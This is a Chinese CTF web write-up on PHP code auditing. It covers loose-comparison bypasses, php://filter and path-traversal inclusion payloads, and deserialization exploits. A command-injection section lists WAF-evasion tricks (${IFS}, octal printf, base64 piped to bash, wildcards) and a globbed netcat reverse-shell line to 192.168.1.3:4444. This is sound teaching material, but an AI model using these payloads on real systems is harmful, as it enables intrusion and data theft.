ctf_web入门审计题目

代码审计

松散判断

题目:攻防世界

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    //a值大于六百万且长度最大为3-->科学计数法
    //b的md5后六位等于8b184b
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
//传一个数组c且key=m的值不为数字且大于2022-->m:2023a
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
 /*  对key为n的value进行判断,要求n必须为一个数组,并且value的数量必须为2,并且n的第一个value又
  必须为一个数组。也就是"n":[[],xxx]  */     
        $d = array_search("DGGJ", $c["n"]);//n:里面必须有DGGJ否则直接die()
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){//循环查看数组中是否含有DGGJ,如果含有的话就直接die()。
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){//key1、key2都为1则拿到flag
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

弱类型语言对变量的数据类型没有限制,可以将变量赋值给任意的其他类型变量,同时变量可以转换成任意其他类型的数据。

如果比较一个数字和字符串或者比较含有数字内容的字符串,则字符串会被转换成数值并且比较时按照数值来进行

并且在松散比较下任何string都等于true

1 == "1admin";//true
0 == "admin1";//true
1 == "adm1in";//false
0 == "adm1in";//true
//如果用false和null与字符串数组比较会如何呢?
//它们是不会转换成int型的,所以结果是这样的:
in_array(null, ['a', 'b', 'c']) //false
in_array(false, ['a', 'b', 'c']) //false
//还有另外一个看起来比较奇怪的现象:
in_array('a', [true, 'b', 'c']) // true
array_search('a', [true, 'b', 'c']) // int(0)
//因为松散比较下,任何string都等于true。
?a=6e9&b=53724&c={"m":"2023a","n":[[],0]}

解析:

  1. 6e9科学计数法大于六百万
  2. 53724的md5值后六位为8b184b
  3. c[]是数组
  4. c["m"]=="2023a"大于2023且不为数字
  5. c[]有两个键值对满足count($c["n"]) == 2
  6. c["n"]==[[],0]满足is_array($c["n"][0]
  7. c["n"]==[[],0]中的0可以满足$d = array_search("DGGJ", $c["n"]);,0匹配了"DGGJ"

其它弱类型

json绕过

<?php
  if (isset($_POST['message'])) {
      $message = json_decode($_POST['message']);
      $key ="*********";
      if ($message->key == $key) {
          echo "flag";
      }else {
      	echo "fail";
  		}
  }else{
      echo "~~~~";
  }
?>

json_decode()函数会将参数解密成一个数组,判断与key的值是否相等,由于key的值我们并不知道,就可以利用0=="admin"这种方式进行绕过

array_search绕过

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

官方手册对array_search的介绍

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
  • $needle——必须
  • $haystack——必需
  • $strict——可选 :默认为false,如果设置为true则会进行严格过滤

功能:函数判断$haystack中的值是否存在$needle,存在则返回该值的key

strcmp绕过

<?php
	$password="***************"
  if( isset($_POST['password']) ){
  	if(strcmp($_POST['password'], $password) == 0) {
  		echo "Right!!!login success";
  		exit();
  	} else {
  		echo "Wrong password..";
  }
?>

strcmp()比较两个字符串,如果两者相等返回0

我们是不知道$password的值的,要求strcmp判断的接受的值和$password必需相等,strcmp传入的期望类型是字符串类型,我们传入 password[]=xxx 可以绕过。

文件包含

php://filter

string.rot13

string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符

php://filter/string.rot13/resource=flag.php

string.tolower

将字符串转化为小写

php://filter/string.strip_tags/resource=flag.php

string.strip_tags

string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。

php://filter/string.strip_tags/resource=flag.php

convert.base64-encode&convert.base64-decode

php://filter/convert.base64-encode/resource=flag.php

convert.quoted-printable-encode & convert.quoted-printable-decode

转换为可打印字符

php://filter/convert.quoted-printable-encode/resource=flag.php

convert.iconv.*

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。

使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

例如:把内容从UCS-2LE转换为UCS-2BE编码

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php

zlib.deflate

php://filter/zlib.deflate/resource=flag.php

zlib.inflate

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

warmup

题目链接:攻防世界

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";//传入的page必须是字符串
                return false;
            }
            if (in_array($page, $whitelist)) {//如果page在白名单中则返回1
                return true;
            }
            $_page = mb_substr(//字符串截断函数
                $page,
                0,
                mb_strpos($page . '?', '?')//返回在page中第一个“?”出现的位置
            );//综上所述就是要将第一个问号前的值赋给$_page变量
            if (in_array($_page, $whitelist)) {
                return true;
            }
          	//$_page在白名单中则返回1
            $_page = urldecode($page);
          //对page进行一次url解码赋给$_page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//功能同上
            if (in_array($_page, $whitelist)) {
            //_page只要在白名单中(即两个问号之间的内容只要在白名单中,就返回true)
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])//checkfile返回值为1
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

第一次检查:如果page在白名单中直接就返回1

第二次检查:先在page最后添加一个问号,再把第一个问号前的内容赋值给$_page变量,检查其是否在白名单中,在则返回1

第三次检查:将page进行url解码,在最后添加一个问号再把第一个问号之前的内容赋给$_page,再检查是否在白名单中,在则返回1

如果返回1,则进入include()函数,利用文件包含漏洞获取flag

hint.php已经提示我们flag在ffffllllaaaagggg

/?file=hint.php?ffffllllaaaagggg

这里在进入第二次检查的时候就返回1,即可进入include()函数,只不过目前我们不知道flag文件在哪个目录下,需要逐层找,最终payload:/?file=hint.php?../../../../../ffffllllaaaagggg

注意:include()函数在路径中有../的时候,就不管其他的文件了,所以最后只包含了这个flag文件

反序列化

常见魔术方法

  • __construct()

当有类被实例化时自动调用

  • __distruct()

当有类被销毁时自动调用

  • __call()

当调用一个不能访问到或者不存在的方法时自动调用(类似于抛出一个异常)

  • __callStatic()

当调用一个不能访问到或者不存在的静态方法时自动调用

  • __get()

当访问一个不能访问到或者不存在的属性时自动调用(类似于抛出一个异常)

  • __set()

当给一个不能访问到或者不存在的属性赋值的时候自动调用,参数一会自动获取想要赋值的属性名,参数二自动获取值

  • __isset()

当对一个不能访问到或者不存在的属性进行isset()或者empty()判断时这个方法自动调用

  • __unset()

当对一个不能访问到或者不存在的属性进行unset()判断时这个方法自动调用

  • __sleep()

执行序列化serialize()时自动调用

  • __wakeup()

当执行反序列化unserialize()时自动调用

  • __toString()

当一个对象被当成字符串使用的时候自动调用

  • __invoke()

当一个对象以函数的方法被调用时,该方法被自动调用(也类似于抛出异常)

  • __set_state()

导出类的时候这个方法自动调用,其参数1会自动获取到按array('property'=>value,......)格式排列的类属性

  • __debuginfo()

使用var_dump()来读取对象,就会触发魔术方法

  • __unserialize()
  • __serialize()

如果一个类里既有__unserialize()又有__wakeup(),那么__unserialize()中的内容会被执行,而__wakeup()不会

  • __clone()

对象被复制时clone()该方法自动调用

网鼎杯

https://buuoj.cn/challenges[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E9%9D%92%E9%BE%99%E7%BB%84]AreUSerialz

 <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;//protected受保护的修饰符,被定义为受保护的类成员则可以被其自身以及其子类和父类访问
    protected $filename;
    protected $content;
    function __construct() {//构造函数
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();//->对象调用类的函数
    }
    public function process() {//process方法
        if($this->op == "1") {
            $this->write();//如果op=1就运行write函数
        } else if($this->op == "2") {//注意这个是弱比较
            $res = $this->read();
        //如果是op=2,运行read函数将运行完的值赋值res,然后将$res放到output函数中
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content))//判断filname和content是否为空 {
            if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {//析构函数 该函数会在类的一个对象被删除时自动调用。
        if($this->op === "2")//注意这个是强比较
            $this->op = "1";//将1赋值给op
        $this->content = "";//将content变为空
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)//strlen判断字符串长度
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;//ord是以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

代码运行过程

注意:__construct()函数不会自动调用,而__distruct()会自动调用

is_valid()所有字符的ascii码都必须在[32,125]这个区间-->unserialize()-->__distruct()如果op等于字符串2就改为字符串1-->process()令op等于字符串2即可读取文件-->read()-->file_get_contents()

思路

显然最关键的地方其实是在__distruct()与process()对于op的检验上。

但是我们注意到__distruct()中对于op是强类型检验,而process()中是弱类型检验,我们想要在__distruct()中不等于字符串2而在process()中等于字符串2

那么我们利用强弱类型的比较令op等于数字2即可,因为数字2不强等于字符串2(在__distruct()中),而数字2弱等于字符串2

但是需要注意的是:protected类型的属性序列化后存在不可打印字符,会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid()校验,%00字符ascii码为0,所以不显示,变量前面会存在多出一个*

<?php
class FileHandler {
    public  $op = 2;
    public  $filename = "flag.php";
    public  $content;
//因为destruct函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>

最终payload

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

江苏工匠杯

攻防世界

<?php
class ease{
    private $method;
    private $args;
    //给变量赋值,将传进来的参数依次赋值给method和args
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    //销毁函数,如果method有ping这个值,就调用这个类ping()函数,参数为args
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
    //exec()命令执行,也就是将args当作命令执行
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    //过滤了很多字符
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
    //反序列化的魔术方法,对传入的数据逐字符进行黑名单比对
    function __wakeup(){
        foreach($this->args as $k => $v) {    //=>链接键值对,这里k为键、v为值
            $this->args[$k] = $this->waf($v);
        }
    }   
}
$ctf=@$_POST['ctf'];
//提示我们后台反序列化中有base64解码这个过程,那么我们就要编码后再POST
@unserialize(base64_decode($ctf));
?>

代码运行过程

传入字符串ctf-->base64解码-->__construct()-->__wakeup()-->waf()-->unserialize()-->__destruct()-->call_user_func_array()-->exec()

函数学习

  1. exec(command,array):用来执行一个外部程序,也就是执行一个传入的命令;将执行结果存入array中
  2. var_dump():用于判断一个变量的类型与长度,并输出变量的值
  3. call_user_func_array():

(1)call_user_func_array(string,array)全局函数的回调:string表示要调用的函数名,array是参数列表,按照顺序依次传递给调用的函数

(2)call_user_func_array(array(class_name,function_name),value)类的静态方法的回调:

class_name与function_name组成一个数组,分别为类名和其函数名,value依旧是参数列表

思路:最终目的是让页面执行我们给的命令,也就是说最终要让exec()这个函数生效-->必然要调用ping()-->必然要使用call_user_func_array()-->必然要传入一个序列化的对象,且method为ping,args为我们想要的命令。综上就不难整理出如下操作:

1、实例化一个ease,确定参数类型,序列化并base64传入进行测试

2、测试有效,证明思路没有错,下面就要想办法输入危险代码也就是对waf的绕过

payload生成

<?php
$a = array('a'=>'l""s${IFS}f""lag_1""s_here');
$payload = new ease("ping",$a);
$result = serialize($payload);
echo base64_encode($result);
?>

如何绕过字符过滤

  1. 插入${Z}
  2. 插入""空字符

如何绕过空格过滤

linux下

  • {cat,flag.txt}
  • cat${IFS}flag.txt
  • cat$IFS$9flag.txt
  • cat<flag.txt
  • cat<>flag.txt
  • kg=$'\x20flag.txt'&&cat$kg

(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

windows下

(实用性不是很广,也就type这个命令可以用)

  • type.\flag.txt
  • type,flag.txt
  • echo,123456

发现array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

虽然得到了路径,但是直接访问是空白的,需要cat一下,但是字符串可以绕过,但是“/”如何绕过呢?

新知识:unicode编码在linux下可以被当作命令执行

八进制\154-->十进制108-->ascii码-->字符I

将命令转换成八进制数再传入

命令转换成八进制的c语言代码:

#include <stdio.h>
int main(){
    char site[]="cat flag_1s_here/flag_831b69012c67b35f.php";
    for(int i = 0; i < sizeof site / sizeof site[0]; i++ ){
        printf("\\%o",site[i]);
    }
    return 0;
}

得到结果:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

最终payload

$a = array('a'=>'$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');

执行的时候会先执行printf还原回我们原本的命令(此时已经比对过黑名单了)从而拿到flag

绕过过滤

过滤cat等关键字

  • c""at fl''ag.tx""t
  • c\at fl\at.tx\t
  • ca$1t fl$1ag.t$1xt

过滤空格

  • ${IFS}
  • <>
  • %09(仅适用于PHP环境)

黑名单绕过

  • 使用shell变量拼接

a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;

  • 使用反引号包裹base64编码后的命令

`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`

  • 将base64编码后的命令传给bash

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

通配符绕过

/???会去寻找 / 目录下的三个字符长度的文件,正常情况下会寻找到/bin,然后/?[a][t]会优先匹配到/bin/cat,就成功调用了cat命令,然后后面可以使用正常的通配符匹配所需读的文件,如flag.txt文件名长度为8,使用8个'?',此命令就会读取所有长度为8的文件。

/???/?[a][t] ?''?''?''?''?''?''?''?

/???/[m][o]?[e] ?''?''?''?''?''?''?''?

甚至开启一个shell:

/???/[n]?[t]??[t] 192.168.1.3 4444

长度绕过

使用>>每次添加一部分命令到文件中

echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;

然后使用cat r | bash来执行

使用换行执行或ls -t:

ca\t flag.t\xt

使用sh a即可执行命令cat flag.txt

ls -t可以按照时间创建顺序逆序输出文件名:

所以可以有> "ag"> "fl\\"> "t \\"> "ca\\"

然后使用ls -t>s

此时s中的文件内容就是sca\t \fl\ag\

解密

题目链接:攻防世界

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
    $_o=strrev($str);//反转字符串
    for($_0=0;$_0<strlen($_o);$_0++){//对于字符串中的每一个字符
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;//ascii右移一位
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));//base64编码
}
highlight_file(__FILE__);
?> 

加密过程:

反转-->右移1-->base64-->反转-->左移13或者strrev(右移(base64(strrev(str_rot13(明文)))))

注意解密的时候要从外层括号逐层往内解

解密:

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
    $_o=base64_decode(strrev(str_rot13($str)));
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return strrev($_);
}
echo decode($miwen);
?> 

输出的flag中可能有不可见字符,所以提交不正确的话就手敲一遍再提交

猜你喜欢

转载自blog.csdn.net/B_cecretary/article/details/127654208
今日推荐